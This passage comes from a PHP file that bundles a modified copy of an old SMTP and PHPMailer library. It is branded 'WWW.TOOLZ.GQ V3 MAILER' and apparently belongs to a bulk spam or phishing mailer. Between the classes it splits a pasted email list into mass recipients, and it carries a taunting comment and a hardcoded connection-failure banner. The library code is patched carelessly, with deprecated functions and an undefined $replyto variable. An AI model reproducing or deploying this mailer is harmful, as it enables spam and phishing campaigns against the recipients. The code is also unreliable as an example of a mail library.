1160 * SMTP CODE SUCCESS: 552,451,452
1161 * SMTP CODE SUCCESS: 500,501,502,421
1162 * @access public
1163 * @return bool
1164 */
1165 function Send($from) {
1166 $this->error = null; # so no confusion is caused
1167
1168 if(!$this->connected()) {
1169 $this->error = array(
1170 "error" => "Called Send() without being connected");
1171 return false;
1172 }
1173
1174 fputs($this->smtp_conn,"SEND FROM:" . $from . $this->CRLF);
1175
1176 $rply = $this->get_lines();
1177 $code = substr($rply,0,3);
1178
1179 if($this->do_debug >= 2) {
1180 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1181 }
1182
1183 if($code != 250) {
1184 $this->error =
1185 array("error" => "SEND not accepted from server",
1186 "smtp_code" => $code,
1187 "smtp_msg" => substr($rply,4));
1188 if($this->do_debug >= 1) {
1189 echo "SMTP -> ERROR: " . $this->error["error"] .
1190 ": " . $rply . $this->CRLF;
1191 }
1192 return false;
1193 }
1194 return true;
1195 }
1196
1197 /**
1198 * Starts a mail transaction from the email address specified in
1199 * $from. Returns true if successful or false otherwise. If True
1200 * the mail transaction is started and then one or more Recipient
1201 * commands may be called followed by a Data command. This command
1202 * will send the message to the users terminal if they are logged
1203 * in and send them an email.
1204 *
1205 * Implements rfc 821: SAML <SP> FROM:<reverse-path> <CRLF>
1206 *
1207 * SMTP CODE SUCCESS: 250
1208 * SMTP CODE SUCCESS: 552,451,452
1209 * SMTP CODE SUCCESS: 500,501,502,421
1210 * @access public
1211 * @return bool
1212 */
1213 function SendAndMail($from) {
1214 $this->error = null; # so no confusion is caused
1215
1216 if(!$this->connected()) {
1217 $this->error = array(
1218 "error" => "Called SendAndMail() without being connected");
1219 return false;
1220 }
1221
1222 fputs($this->smtp_conn,"SAML FROM:" . $from . $this->CRLF);
1223
1224 $rply = $this->get_lines();
1225 $code = substr($rply,0,3);
1226
1227 if($this->do_debug >= 2) {
1228 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1229 }
1230
1231 if($code != 250) {
1232 $this->error =
1233 array("error" => "SAML not accepted from server",
1234 "smtp_code" => $code,
1235 "smtp_msg" => substr($rply,4));
1236 if($this->do_debug >= 1) {
1237 echo "SMTP -> ERROR: " . $this->error["error"] .
1238 ": " . $rply . $this->CRLF;
1239 }
1240 return false;
1241 }
1242 return true;
1243 }
1244
1245 /**
1246 * Starts a mail transaction from the email address specified in
1247 * $from. Returns true if successful or false otherwise. If True
1248 * the mail transaction is started and then one or more Recipient
1249 * commands may be called followed by a Data command. This command
1250 * will send the message to the users terminal if they are logged
1251 * in or mail it to them if they are not.
1252 *
1253 * Implements rfc 821: SOML <SP> FROM:<reverse-path> <CRLF>
1254 *
1255 * SMTP CODE SUCCESS: 250
1256 * SMTP CODE SUCCESS: 552,451,452
1257 * SMTP CODE SUCCESS: 500,501,502,421
1258 * @access public
1259 * @return bool
1260 */
1261 function SendOrMail($from) {
1262 $this->error = null; # so no confusion is caused
1263
1264 if(!$this->connected()) {
1265 $this->error = array(
1266 "error" => "Called SendOrMail() without being connected");
1267 return false;
1268 }
1269
1270 fputs($this->smtp_conn,"SOML FROM:" . $from . $this->CRLF);
1271
1272 $rply = $this->get_lines();
1273 $code = substr($rply,0,3);
1274
1275 if($this->do_debug >= 2) {
1276 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1277 }
1278
1279 if($code != 250) {
1280 $this->error =
1281 array("error" => "SOML not accepted from server",
1282 "smtp_code" => $code,
1283 "smtp_msg" => substr($rply,4));
1284 if($this->do_debug >= 1) {
1285 echo "SMTP -> ERROR: " . $this->error["error"] .
1286 ": " . $rply . $this->CRLF;
1287 }
1288 return false;
1289 }
1290 return true;
1291 }
1292
1293 /**
1294 * This is an optional command for SMTP that this class does not
1295 * support. This method is here to make the RFC821 Definition
1296 * complete for this class and __may__ be implimented in the future
1297 *
1298 * Implements from rfc 821: TURN <CRLF>
1299 *
1300 * SMTP CODE SUCCESS: 250
1301 * SMTP CODE FAILURE: 502
1302 * SMTP CODE ERROR : 500, 503
1303 * @access public
1304 * @return bool
1305 */
1306 function Turn() {
1307 $this->error = array("error" => "This method, TURN, of the SMTP ".
1308 "is not implemented");
1309 if($this->do_debug >= 1) {
1310 echo "SMTP -> NOTICE: " . $this->error["error"] . $this->CRLF;
1311 }
1312 return false;
1313 }
1314
1315 /**
1316 * Verifies that the name is recognized by the server.
1317 * Returns false if the name could not be verified otherwise
1318 * the response from the server is returned.
1319 *
1320 * Implements rfc 821: VRFY <SP> <string> <CRLF>
1321 *
1322 * SMTP CODE SUCCESS: 250,251
1323 * SMTP CODE FAILURE: 550,551,553
1324 * SMTP CODE ERROR : 500,501,502,421
1325 * @access public
1326 * @return int
1327 */
1328 function Verify($name) {
1329 $this->error = null; # so no confusion is caused
1330
1331 if(!$this->connected()) {
1332 $this->error = array(
1333 "error" => "Called Verify() without being connected");
1334 return false;
1335 }
1336
1337 fputs($this->smtp_conn,"VRFY " . $name . $this->CRLF);
1338
1339 $rply = $this->get_lines();
1340 $code = substr($rply,0,3);
1341
1342 if($this->do_debug >= 2) {
1343 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1344 }
1345
1346 if($code != 250 && $code != 251) {
1347 $this->error =
1348 array("error" => "VRFY failed on name '$name'",
1349 "smtp_code" => $code,
1350 "smtp_msg" => substr($rply,4));
1351 if($this->do_debug >= 1) {
1352 echo "SMTP -> ERROR: " . $this->error["error"] .
1353 ": " . $rply . $this->CRLF;
1354 }
1355 return false;
1356 }
1357 return $rply;
1358 }
1359
1360 /*******************************************************************
1361 * INTERNAL FUNCTIONS *
1362 ******************************************************************/
1363
1364 /**
1365 * Read in as many lines as possible
1366 * either before eof or socket timeout occurs on the operation.
1367 * With SMTP we can tell if we have more lines to read if the
1368 * 4th character is '-' symbol. If it is a space then we don't
1369 * need to read anything else.
1370 * @access private
1371 * @return string
1372 */
1373 function get_lines() {
1374 $data = "";
1375 while($str = @fgets($this->smtp_conn,515)) {
1376 if($this->do_debug >= 4) {
1377 echo "SMTP -> get_lines(): \$data was \"$data\"" .
1378 $this->CRLF;
1379 echo "SMTP -> get_lines(): \$str is \"$str\"" .
1380 $this->CRLF;
1381 }
1382 $data .= $str;
1383 if($this->do_debug >= 4) {
1384 echo "SMTP -> get_lines(): \$data is \"$data\"" . $this->CRLF;
1385 }
1386 # if the 4th character is a space then we are done reading
1387 # so just break the loop
1388 if(substr($str,3,1) == " ") { break; }
1389 }
1390 return $data;
1391 }
1392
1393}
1394 // Here Bitchz Hilmy
1395
1396$allemails = split("\n", $emaillist);
1397$numemails = count($allemails);
1398
1399class PHPMailer {
1400
1401 /////////////////////////////////////////////////
1402 // PROPERTIES, PUBLIC
1403 /////////////////////////////////////////////////
1404
1405 /**
1406 * Email priority (1 = High, 3 = Normal, 5 = low).
1407 * @var int
1408 */
1409 var $Priority = 3;
1410
1411 /**
1412 * Sets the CharSet of the message.
1413 * @var string
1414 */
1415 var $CharSet = 'us-ascii';
1416
1417 /**
1418 * Sets the Content-type of the message.
1419 * @var string
1420 */
1421 var $ContentType = 'text/plain';
1422
1423 /**
1424 * Sets the Encoding of the message. Options for this are "8bit",
1425 * "7bit", "binary", "base64", and "quoted-printable".
1426
1427 * @var string
1428 */
1429 var $Encoding = 'quoted-printable';
1430
1431 /**
1432 * Holds the most recent mailer error message.
1433 * @var string
1434 */
1435 var $ErrorInfo = '';
1436
1437 /**
1438 * Sets the From email address for the message.
1439 * @var string
1440 */
1441 var $From = '';
1442
1443 /**
1444 * Sets the From name of the message.
1445 * @var string
1446 */
1447 var $FromName = '';
1448
1449 /**
1450 * Sets the Sender email (Return-Path) of the message. If not empty,
1451 * will be sent via -f to sendmail or as 'MAIL FROM' in smtp mode.
1452 * @var string
1453 */
1454 var $Sender = '';
1455
1456 /**
1457 * Sets the Subject of the message.
1458 * @var string
1459 */
1460 var $Subject = '';
1461
1462 /**
1463 * Sets the Body of the message. This can be either an HTML or text body.
1464 * If HTML then run IsHTML(true).
1465 * @var string
1466 */
1467 var $Body = '';
1468
1469 /**
1470 * Sets the text-only body of the message. This automatically sets the
1471 * email to multipart/alternative. This body can be read by mail
1472 * clients that do not have HTML email capability such as mutt. Clients
1473 * that can read HTML will view the normal Body.
1474 * @var string
1475 */
1476 var $AltBody = '';
1477
1478 /**
1479 * Sets word wrapping on the body of the message to a given number of
1480 * characters.
1481 * @var int
1482 */
1483 var $WordWrap = 0;
1484
1485 /**
1486 * Method to send mail: ("mail", "sendmail", or "smtp").
1487 * @var string
1488 */
1489 var $Mailer = 'mail';
1490
1491 /**
1492 * Sets the path of the sendmail program.
1493 * @var string
1494 */
1495 var $Sendmail = '/usr/sbin/sendmail';
1496
1497 /**
1498 * Path to PHPMailer plugins. This is now only useful if the SMTP class
1499 * is in a different directory than the PHP include path.
1500 * @var string
1501 */
1502 var $PluginDir = '';
1503
1504 /**
1505 * Holds PHPMailer version.
1506 * @var string
1507 */
1508 var $Version = "";
1509
1510 /**
1511 * Sets the email address that a reading confirmation will be sent.
1512 * @var string
1513 */
1514 var $ConfirmReadingTo = '';
1515
1516 /**
1517 * Sets the hostname to use in Message-Id and Received headers
1518 * and as default HELO string. If empty, the value returned
1519 * by SERVER_NAME is used or 'localhost.localdomain'.
1520 * @var string
1521 */
1522 var $Hostname = '';
1523
1524 /**
1525 * Sets the message ID to be used in the Message-Id header.
1526 * If empty, a unique id will be generated.
1527 * @var string
1528 */
1529 var $MessageID = '';
1530
1531 /////////////////////////////////////////////////
1532 // PROPERTIES FOR SMTP
1533 /////////////////////////////////////////////////
1534
1535 /**
1536 * Sets the SMTP hosts. All hosts must be separated by a
1537 * semicolon. You can also specify a different port
1538 * for each host by using this format: [hostname:port]
1539 * (e.g. "smtp1.example.com:25;smtp2.example.com").
1540 * Hosts will be tried in order.
1541 * @var string
1542 */
1543 var $Host = 'localhost';
1544
1545 /**
1546 * Sets the default SMTP server port.
1547 * @var int
1548 */
1549 var $Port = 25;
1550
1551 /**
1552 * Sets the SMTP HELO of the message (Default is $Hostname).
1553 * @var string
1554 */
1555 var $Helo = '';
1556
1557 /**
1558 * Sets connection prefix.
1559 * Options are "", "ssl" or "tls"
1560 * @var string
1561 */
1562 var $SMTPSecure = "";
1563/////////////////////////////////////////////////////////////////////////////////////////
1564/////////////////////////////////////////////////////////////////////////////////////////
1565
1566///////////////////////// WWW.TOOLZ.GQ V3 MAILER //////////////////////////////////
1567
1568/////////////////////////////////////////////////////////////////////////////////////////
1569/////////////////////////////////////////////////////////////////////////////////////////
1570
1571 /**
1572 * Sets SMTP authentication. Utilizes the Username and Password variables.
1573 * @var bool
1574 */
1575 var $SMTPAuth = false;
1576
1577 /**
1578 * Sets SMTP username.
1579 * @var string
1580 */
1581 var $Username = '';
1582
1583 /**
1584 * Sets SMTP password.
1585 * @var string
1586 */
1587 var $Password = '';
1588
1589 /**
1590 * Sets the SMTP server timeout in seconds. This function will not
1591 * work with the win32 version.
1592 * @var int
1593 */
1594 var $Timeout = 10;
1595
1596 /**
1597 * Sets SMTP class debugging on or off.
1598 * @var bool
1599 */
1600 var $SMTPDebug = false;
1601
1602 /**
1603 * Prevents the SMTP connection from being closed after each mail
1604 * sending. If this is set to true then to close the connection
1605 * requires an explicit call to SmtpClose().
1606 * @var bool
1607 */
1608 var $SMTPKeepAlive = false;
1609
1610 /**
1611 * Provides the ability to have the TO field process individual
1612 * emails, instead of sending to entire TO addresses
1613 * @var bool
1614 */
1615 var $SingleTo = false;
1616/////////////////////////////////////////////////////////////////////////////////////////
1617/////////////////////////////////////////////////////////////////////////////////////////
1618
1619///////////////////////// WWW.TOOLZ.GQ V3 MAILER //////////////////////////////////
1620
1621/////////////////////////////////////////////////////////////////////////////////////////
1622/////////////////////////////////////////////////////////////////////////////////////////
1623 /////////////////////////////////////////////////
1624 // PROPERTIES, PRIVATE
1625 /////////////////////////////////////////////////
1626
1627 var $smtp = NULL;
1628 var $to = array();
1629 var $cc = array();
1630 var $bcc = array();
1631 var $ReplyTo = array();
1632 var $attachment = array();
1633 var $CustomHeader = array();
1634 var $message_type = '';
1635 var $boundary = array();
1636 var $language = array();
1637 var $error_count = 0;
1638 var $LE = "\n";
1639 var $sign_key_file = "";
1640 var $sign_key_pass = "";
1641
1642 /////////////////////////////////////////////////
1643 // METHODS, VARIABLES
1644 /////////////////////////////////////////////////
1645
1646 /**
1647 * Sets message type to HTML.
1648 * @param bool $bool
1649 * @return void
1650 */
1651 function IsHTML($bool) {
1652 if($bool == true) {
1653 $this->ContentType = 'text/html';
1654 } else {
1655 $this->ContentType = 'text/plain';
1656 }
1657 }
1658
1659 /**
1660 * Sets Mailer to send message using SMTP.
1661 * @return void
1662 */
1663 function IsSMTP() {
1664 $this->Mailer = 'smtp';
1665 }
1666
1667 /**
1668 * Sets Mailer to send message using PHP mail() function.
1669 * @return void
1670 */
1671 function IsMail() {
1672 $this->Mailer = 'mail';
1673 }
1674
1675 /**
1676 * Sets Mailer to send message using the $Sendmail program.
1677 * @return void
1678 */
1679 function IsSendmail() {
1680 $this->Mailer = 'sendmail';
1681 }
1682
1683 /**
1684 * Sets Mailer to send message using the qmail MTA.
1685 * @return void
1686 */
1687 function IsQmail() {
1688 $this->Sendmail = '/var/qmail/bin/sendmail';
1689 $this->Mailer = 'sendmail';
1690 }
1691
1692 /////////////////////////////////////////////////
1693 // METHODS, RECIPIENTS
1694 /////////////////////////////////////////////////
1695
1696 /**
1697 * Adds a "To" address.
1698 * @param string $address
1699 * @param string $name
1700 * @return void
1701 */
1702 function AddAddress($address, $name = '') {
1703 $cur = count($this->to);
1704 $this->to[$cur][0] = trim($address);
1705 $this->to[$cur][1] = $name;
1706 }
1707
1708 /**
1709 * Adds a "Cc" address. Note: this function works
1710 * with the SMTP mailer on win32, not with the "mail"
1711 * mailer.
1712 * @param string $address
1713 * @param string $name
1714 * @return void
1715 */
1716 function AddCC($address, $name = '') {
1717 $cur = count($this->cc);
1718 $this->cc[$cur][0] = trim($address);
1719 $this->cc[$cur][1] = $name;
1720 }
1721
1722 /**
1723 * Adds a "Bcc" address. Note: this function works
1724 * with the SMTP mailer on win32, not with the "mail"
1725 * mailer.
1726 * @param string $address
1727 * @param string $name
1728 * @return void
1729 */
1730 function AddBCC($address, $name = '') {
1731 $cur = count($this->bcc);
1732 $this->bcc[$cur][0] = trim($address);
1733 $this->bcc[$cur][1] = $name;
1734 }
1735
1736 /**
1737 * Adds a "Reply-To" address.
1738 * @param string $address
1739 * @param string $name
1740 * @return void
1741 */
1742 function AddReplyTo($address, $name = '') {
1743 $cur = count($this->ReplyTo);
1744 $this->ReplyTo[$cur][0] = trim($address);
1745 $this->ReplyTo[$cur][1] = $name;
1746 }
1747
1748 /////////////////////////////////////////////////
1749 // METHODS, MAIL SENDING
1750 /////////////////////////////////////////////////
1751
1752 /**
1753 * Creates message and assigns Mailer. If the message is
1754 * not sent successfully then it returns false. Use the ErrorInfo
1755 * variable to view description of the error.
1756 * @return bool
1757 */
1758 function Send() {
1759 $header = '';
1760 $body = '';
1761 $result = true;
1762
1763 if((count($this->to) + count($this->cc) + count($this->bcc)) < 1) {
1764 $this->SetError($this->Lang('provide_address'));
1765 return false;
1766 }
1767
1768 /* Set whether the message is multipart/alternative */
1769 if(!empty($this->AltBody)) {
1770 $this->ContentType = 'multipart/alternative';
1771 }
1772
1773 $this->error_count = 0; // reset errors
1774 $this->SetMessageType();
1775 $header .= $this->CreateHeader();
1776 $body = $this->CreateBody();
1777
1778 if($body == '') {
1779 return false;
1780 }
1781
1782 /* Choose the mailer */
1783 switch($this->Mailer) {
1784 case 'sendmail':
1785 $result = $this->SendmailSend($header, $body);
1786 break;
1787 case 'smtp':
1788 $result = $this->SmtpSend($header, $body);
1789 break;
1790 case 'mail':
1791 $result = $this->MailSend($header, $body);
1792 break;
1793 default:
1794 $result = $this->MailSend($header, $body);
1795 break;
1796 //$this->SetError($this->Mailer . $this->Lang('mailer_not_supported'));
1797 //$result = false;
1798 //break;
1799 }
1800
1801 return $result;
1802 }
1803
1804 /**
1805 * Sends mail using the $Sendmail program.
1806 * @access private
1807 * @return bool
1808 */
1809 function SendmailSend($header, $body) {
1810 if ($this->Sender != '') {
1811 $sendmail = sprintf("%s -oi -f %s -t", escapeshellcmd($this->Sendmail), escapeshellarg($this->Sender));
1812 } else {
1813 $sendmail = sprintf("%s -oi -t", escapeshellcmd($this->Sendmail));
1814 }
1815
1816 if(!@$mail = popen($sendmail, 'w')) {
1817 $this->SetError($this->Lang('execute') . $this->Sendmail);
1818 return false;
1819 }
1820
1821 fputs($mail, $header);
1822 fputs($mail, $body);
1823
1824 $result = pclose($mail);
1825 if (version_compare(phpversion(), '4.2.3') == -1) {
1826 $result = $result >> 8 & 0xFF;
1827 }
1828 if($result != 0) {
1829 $this->SetError($this->Lang('execute') . $this->Sendmail);
1830 return false;
1831 }
1832 return true;
1833 }
1834
1835 /**
1836 * Sends mail using the PHP mail() function.
1837 * @access private
1838 * @return bool
1839 */
1840 function MailSend($header, $body) {
1841
1842 $to = '';
1843 for($i = 0; $i < count($this->to); $i++) {
1844 if($i != 0) { $to .= ', '; }
1845 $to .= $this->AddrFormat($this->to[$i]);
1846 }
1847
1848 $toArr = split(',', $to);
1849
1850 $params = sprintf("-oi -f %s", $this->Sender);
1851 if ($this->Sender != '' && strlen(ini_get('safe_mode')) < 1) {
1852 $old_from = ini_get('sendmail_from');
1853 ini_set('sendmail_from', $this->Sender);
1854 if ($this->SingleTo === true && count($toArr) > 1) {
1855 foreach ($toArr as $key => $val) {
1856 $rt = @mail($val, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header, $params);
1857 }
1858 } else {
1859 $rt = @mail($to, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header, $params);
1860 }
1861 } else {
1862 if ($this->SingleTo === true && count($toArr) > 1) {
1863 foreach ($toArr as $key => $val) {
1864 $rt = @mail($val, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header, $params);
1865 }
1866 } else {
1867 $rt = @mail($to, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header);
1868 }
1869 }
1870
1871 if (isset($old_from)) {
1872 ini_set('sendmail_from', $old_from);
1873 }
1874
1875 if(!$rt) {
1876 $this->SetError($this->Lang('instantiate'));
1877 return false;
1878 }
1879
1880 return true;
1881 }
1882
1883 /**
1884 * Sends mail via SMTP using PhpSMTP (Author:
1885 * Chris Ryan). Returns bool. Returns false if there is a
1886 * bad MAIL FROM, RCPT, or DATA input.
1887 * @access private
1888 * @return bool
1889 */
1890 function SmtpSend($header, $body) {
1891 $error = '';
1892 $bad_rcpt = array();
1893
1894 if(!$this->SmtpConnect()) {echo "FAILED !!<p align=\"center\"><font color=\"#D4001A\" style=\"font-style:14pt\"> MAILER IS UNABLE TO CONNECT SMTP !!</font></p>";die();
1895 return false;
1896 }
1897
1898 $smtp_from = ($this->Sender == '') ? $this->From : $this->Sender;
1899 if(!$this->smtp->Mail($smtp_from)) {
1900 $error = $this->Lang('from_failed') . $smtp_from;
1901 $this->SetError($error);
1902 $this->smtp->Reset();
1903 return false;
1904 }
1905
1906 /* Attempt to send attach all recipients */
1907 for($i = 0; $i < count($this->to); $i++) {
1908 if(!$this->smtp->Recipient($this->to[$i][0])) {
1909 $bad_rcpt[] = $this->to[$i][0];
1910 }
1911 }
1912 for($i = 0; $i < count($this->cc); $i++) {
1913 if(!$this->smtp->Recipient($this->cc[$i][0])) {
1914 $bad_rcpt[] = $this->cc[$i][0];
1915 }
1916 }
1917 for($i = 0; $i < count($this->bcc); $i++) {
1918 if(!$this->smtp->Recipient($this->bcc[$i][0])) {
1919 $bad_rcpt[] = $this->bcc[$i][0];
1920 }
1921 }
1922
1923 if(count($bad_rcpt) > 0) { // Create error message
1924 for($i = 0; $i < count($bad_rcpt); $i++) {
1925 if($i != 0) {
1926 $error .= ', ';
1927 }
1928 $error .= $bad_rcpt[$i];
1929
1930 }
1931 $error = $this->Lang('recipients_failed') . $error;
1932 $this->SetError($error);
1933 $this->smtp->Reset();
1934 return false;
1935 }
1936
1937 if(!$this->smtp->Data($header . $body)) {
1938 $this->SetError($this->Lang('data_not_accepted'));
1939 $this->smtp->Reset();
1940 return false;
1941 }
1942 if($this->SMTPKeepAlive == true) {
1943 $this->smtp->Reset();
1944 } else {
1945 $this->SmtpClose();
1946 }
1947
1948 return true;
1949 }
1950
1951 /**
1952 * Initiates a connection to an SMTP server. Returns false if the
1953 * operation failed.
1954 * @access private
1955 * @return bool
1956 */
1957 function SmtpConnect() {
1958 if($this->smtp == NULL) {
1959 $this->smtp = new SMTP();
1960 }
1961
1962 $this->smtp->do_debug = $this->SMTPDebug;
1963 $hosts = explode(';', $this->Host);
1964 $index = 0;
1965 $connection = ($this->smtp->Connected());
1966
1967 /* Retry while there is no connection */
1968 while($index < count($hosts) && $connection == false) {
1969 $hostinfo = array();
1970 if(eregi('^(.+):([0-9]+)$', $hosts[$index], $hostinfo)) {
1971 $host = $hostinfo[1];
1972 $port = $hostinfo[2];
1973 } else {
1974 $host = $hosts[$index];
1975 $port = $this->Port;
1976 }
1977
1978 if($this->smtp->Connect(((!empty($this->SMTPSecure))?$this->SMTPSecure.'://':'').$host, $port, $this->Timeout)) {
1979 if ($this->Helo != '') {
1980 $this->smtp->Hello($this->Helo);
1981 } else {
1982 $this->smtp->Hello($this->ServerHostname());
1983 }
1984
1985 $connection = true;
1986 if($this->SMTPAuth) {
1987 if(!$this->smtp->Authenticate($this->Username, $this->Password)) {
1988 $this->SetError($this->Lang('authenticate'));
1989 $this->smtp->Reset();
1990 $connection = false;
1991 }
1992 }
1993 }
1994 $index++;
1995 }
1996 if(!$connection) {
1997 $this->SetError($this->Lang('connect_host'));
1998 }
1999
2000 return $connection;
2001 }
2002
2003 /**
2004 * Closes the active SMTP session if one exists.
2005 * @return void
2006 */
2007 function SmtpClose() {
2008 if($this->smtp != NULL) {
2009 if($this->smtp->Connected()) {
2010 $this->smtp->Quit();
2011 $this->smtp->Close();
2012 }
2013 }
2014 }
2015
2016 /**
2017 * Sets the language for all class error messages. Returns false
2018 * if it cannot load the language file. The default language type
2019 * is English.
2020 * @param string $lang_type Type of language (e.g. Portuguese: "br")
2021 * @param string $lang_path Path to the language file directory
2022 * @access public
2023 * @return bool
2024 */
2025 function SetLanguage($lang_type, $lang_path = 'language/') {
2026 if(file_exists($lang_path.'phpmailer.lang-'.$lang_type.'.php')) {
2027 include($lang_path.'phpmailer.lang-'.$lang_type.'.php');
2028 } elseif (file_exists($lang_path.'phpmailer.lang-en.php')) {
2029 include($lang_path.'phpmailer.lang-en.php');
2030 } else {
2031 $this->SetError('Could not load language file');
2032 return false;
2033 }
2034 $this->language = $PHPMAILER_LANG;
2035
2036 return true;
2037 }
2038
2039 /////////////////////////////////////////////////
2040 // METHODS, MESSAGE CREATION
2041 /////////////////////////////////////////////////
2042
2043 /**
2044 * Creates recipient headers.
2045 * @access private
2046 * @return string
2047 */
2048 function AddrAppend($type, $addr) {
2049 $addr_str = $type . ': ';
2050 $addr_str .= $this->AddrFormat($addr[0]);
2051 if(count($addr) > 1) {
2052 for($i = 1; $i < count($addr); $i++) {
2053 $addr_str .= ', ' . $this->AddrFormat($addr[$i]);
2054 }
2055 }
2056 $addr_str .= $this->LE;
2057
2058 return $addr_str;
2059 }
2060
2061 /**
2062 * Formats an address correctly.
2063 * @access private
2064 * @return string
2065 */
2066 function AddrFormat($addr) {
2067 if(empty($addr[1])) {
2068 $formatted = $this->SecureHeader($addr[0]);
2069 } else {
2070 $formatted = $this->EncodeHeader($this->SecureHeader($addr[1]), 'phrase') . " <" . $this->SecureHeader($addr[0]) . ">";
2071 }
2072
2073 return $formatted;
2074 }
2075
2076 function WrapText($message, $length, $qp_mode = false) {
2077 $soft_break = ($qp_mode) ? sprintf(" =%s", $this->LE) : $this->LE;
2078 // If utf-8 encoding is used, we will need to make sure we don't
2079 // split multibyte characters when we wrap
2080 $is_utf8 = (strtolower($this->CharSet) == "utf-8");
2081
2082 $message = $this->FixEOL($message);
2083 if (substr($message, -1) == $this->LE) {
2084 $message = substr($message, 0, -1);
2085 }
2086
2087 $line = explode($this->LE, $message);
2088 $message = '';
2089 for ($i=0 ;$i < count($line); $i++) {
2090 $line_part = explode(' ', $line[$i]);
2091 $buf = '';
2092 for ($e = 0; $e<count($line_part); $e++) {
2093 $word = $line_part[$e];
2094 if ($qp_mode and (strlen($word) > $length)) {
2095 $space_left = $length - strlen($buf) - 1;
2096 if ($e != 0) {
2097 if ($space_left > 20) {
2098 $len = $space_left;
2099 if ($is_utf8) {
2100 $len = $this->UTF8CharBoundary($word, $len);
2101 } elseif (substr($word, $len - 1, 1) == "=") {
2102 $len--;
2103 } elseif (substr($word, $len - 2, 1) == "=") {
2104 $len -= 2;
2105 }
2106 $part = substr($word, 0, $len);
2107 $word = substr($word, $len);
2108 $buf .= ' ' . $part;
2109 $message .= $buf . sprintf("=%s", $this->LE);
2110 } else {
2111 $message .= $buf . $soft_break;
2112 }
2113 $buf = '';
2114 }
2115 while (strlen($word) > 0) {
2116 $len = $length;
2117 if ($is_utf8) {
2118 $len = $this->UTF8CharBoundary($word, $len);
2119 } elseif (substr($word, $len - 1, 1) == "=") {
2120 $len--;
2121 } elseif (substr($word, $len - 2, 1) == "=") {
2122 $len -= 2;
2123 }
2124 $part = substr($word, 0, $len);
2125 $word = substr($word, $len);
2126
2127 if (strlen($word) > 0) {
2128 $message .= $part . sprintf("=%s", $this->LE);
2129 } else {
2130 $buf = $part;
2131 }
2132 }
2133 } else {
2134 $buf_o = $buf;
2135 $buf .= ($e == 0) ? $word : (' ' . $word);
2136
2137 if (strlen($buf) > $length and $buf_o != '') {
2138 $message .= $buf_o . $soft_break;
2139 $buf = $word;
2140 }
2141 }
2142 }
2143 $message .= $buf . $this->LE;
2144 }
2145
2146 return $message;
2147 }
2148
2149 /**
2150 * Finds last character boundary prior to maxLength in a utf-8
2151 * quoted (printable) encoded string.
2152 * Original written by Colin Brown.
2153 * @access private
2154 * @param string $encodedText utf-8 QP text
2155 * @param int $maxLength find last character boundary prior to this length
2156 * @return int
2157 */
2158 function UTF8CharBoundary($encodedText, $maxLength) {
2159 $foundSplitPos = false;
2160 $lookBack = 3;
2161 while (!$foundSplitPos) {
2162 $lastChunk = substr($encodedText, $maxLength - $lookBack, $lookBack);
2163 $encodedCharPos = strpos($lastChunk, "=");
2164 if ($encodedCharPos !== false) {
2165 // Found start of encoded character byte within $lookBack block.
2166 // Check the encoded byte value (the 2 chars after the '=')
2167 $hex = substr($encodedText, $maxLength - $lookBack + $encodedCharPos + 1, 2);
2168 $dec = hexdec($hex);
2169 if ($dec < 128) { // Single byte character.
2170 // If the encoded char was found at pos 0, it will fit
2171 // otherwise reduce maxLength to start of the encoded char
2172 $maxLength = ($encodedCharPos == 0) ? $maxLength :
2173 $maxLength - ($lookBack - $encodedCharPos);
2174 $foundSplitPos = true;
2175 } elseif ($dec >= 192) { // First byte of a multi byte character
2176 // Reduce maxLength to split at start of character
2177 $maxLength = $maxLength - ($lookBack - $encodedCharPos);
2178 $foundSplitPos = true;
2179 } elseif ($dec < 192) { // Middle byte of a multi byte character, look further back
2180 $lookBack += 3;
2181 }
2182 } else {
2183 // No encoded character found
2184 $foundSplitPos = true;
2185 }
2186 }
2187 return $maxLength;
2188 }
2189
2190 /**
2191 * Set the body wrapping.
2192 * @access private
2193 * @return void
2194 */
2195 function SetWordWrap() {
2196 if($this->WordWrap < 1) {
2197 return;
2198 }
2199
2200 switch($this->message_type) {
2201 case 'alt':
2202 /* fall through */
2203 case 'alt_attachments':
2204 $this->AltBody = $this->WrapText($this->AltBody, $this->WordWrap);
2205 break;
2206 default:
2207 $this->Body = $this->WrapText($this->Body, $this->WordWrap);
2208 break;
2209 }
2210 }
2211
2212 /**
2213 * Assembles message header.
2214 * @access private
2215 * @return string
2216 */
2217 function CreateHeader() {
2218 $result = '';
2219
2220 /* Set the boundaries */
2221 $uniq_id = md5(uniqid(time()));
2222 $this->boundary[1] = 'b1_' . $uniq_id;
2223 $this->boundary[2] = 'b2_' . $uniq_id;
2224
2225 $result .= $this->HeaderLine('Date', $this->RFCDate());
2226 if($this->Sender == '') {
2227 $result .= $this->HeaderLine('Return-Path', trim($this->From));
2228 } else {
2229 $result .= $this->HeaderLine('Return-Path', trim($this->Sender));
2230 }
2231
2232 /* To be created automatically by mail() */
2233 if($this->Mailer != 'mail') {
2234 if(count($this->to) > 0) {
2235 $result .= $this->AddrAppend('To', $this->to);
2236 } elseif (count($this->cc) == 0) {
2237 $result .= $this->HeaderLine('To', 'undisclosed-recipients:;');
2238 }
2239 if(count($this->cc) > 0) {
2240 $result .= $this->AddrAppend('Cc', $this->cc);
2241 }
2242 }
2243
2244 $from = array();
2245 $from[0][0] = trim($this->From);
2246 $from[0][1] = $this->FromName;
2247 $result .= $this->AddrAppend('From', $from);
2248
2249 /* sendmail and mail() extract Cc from the header before sending */
2250 if((($this->Mailer == 'sendmail') || ($this->Mailer == 'mail')) && (count($this->cc) > 0)) {
2251 $result .= $this->AddrAppend('Cc', $this->cc);
2252 }
2253
2254 /* sendmail and mail() extract Bcc from the header before sending */
2255 if((($this->Mailer == 'sendmail') || ($this->Mailer == 'mail')) && (count($this->bcc) > 0)) {
2256 $result .= $this->AddrAppend('Bcc', $this->bcc);
2257 }
2258 if($replyto != "")
2259 {
2260 if(count($this->ReplyTo) > 0) {
2261 $result .= $this->AddrAppend('Reply-To', $this->ReplyTo);
2262 }
2263 }
2264 /* mail() sets the subject itself */
2265 if($this->Mailer != 'mail') {
2266 $result .= $this->HeaderLine('Subject', $this->EncodeHeader($this->SecureHeader($this->Subject)));
2267 }
2268
